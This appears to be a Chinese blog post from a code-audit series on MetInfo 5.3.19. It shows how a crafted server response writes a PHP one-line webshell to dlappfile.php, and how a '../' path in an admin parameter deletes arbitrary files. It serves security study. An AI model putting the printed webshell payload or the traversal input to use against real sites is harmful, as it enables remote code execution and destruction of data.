主页 > 网络知识 > MetInfo5.3.19代码审计思路(7)

MetInfo5.3.19代码审计思路(7)

 

MetInfo5.3.19代码审计思路

 

发包,phpstorm下断

 

MetInfo5.3.19代码审计思路

 

可以看到此时$result的值为111了

然后继续往下看,发现还有个检测$result值的地方

 

MetInfo5.3.19代码审计思路

 

就是$result的开头必须是‘metinfo’,这个好搞

然后结合前面分析的$results的由来

$results=explode('<Met>',$result);file_put_contents('dlappfile.php',$results[1]);

用<Met>隔开,并且让$results[1]的值为一句话木马

这样就可以构造虚拟机下的standard.php的内容

metinfo<Met><?php echo '<?php@eval($_REQUEST['a'])?>'; ?><Met><?php echo '111';?>

 

MetInfo5.3.19代码审计思路

 

然后发包,下断

 

MetInfo5.3.19代码审计思路

 

可以看到$results[1]的值已经为一句话木马了

接着访问dlappfile.php文件,写入成功

 

MetInfo5.3.19代码审计思路

 

0×10 后台文件删除

继续翻,翻到了一个地方unlink()函数下只有一个变量

 

MetInfo5.3.19代码审计思路

 

于是打开看看

 

MetInfo5.3.19代码审计思路

 

(这里unlink()这段代码原来是@unlink($f_filename);这样的,为了方便测试我就加上了个‘echo’)

追踪$f_filename,在这个文件下并没有发现给$_filename赋值的地方,那么就给它传个参数看看

 

MetInfo5.3.19代码审计思路

 

 

MetInfo5.3.19代码审计思路

 

成功传入,之前的分析的传参过滤并没有发现会过滤../ ,那么就可以做到任意文件删除了

接下来测试一下,在admin/app/physical/目录下创建一个1.txt,然后$f_filename传参‘1.txt’,结果成功删除

 

MetInfo5.3.19代码审计思路

 

再在根目录下创建一个1.txt,$f_filename传参‘../../../1.txt’,还是成功删除

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!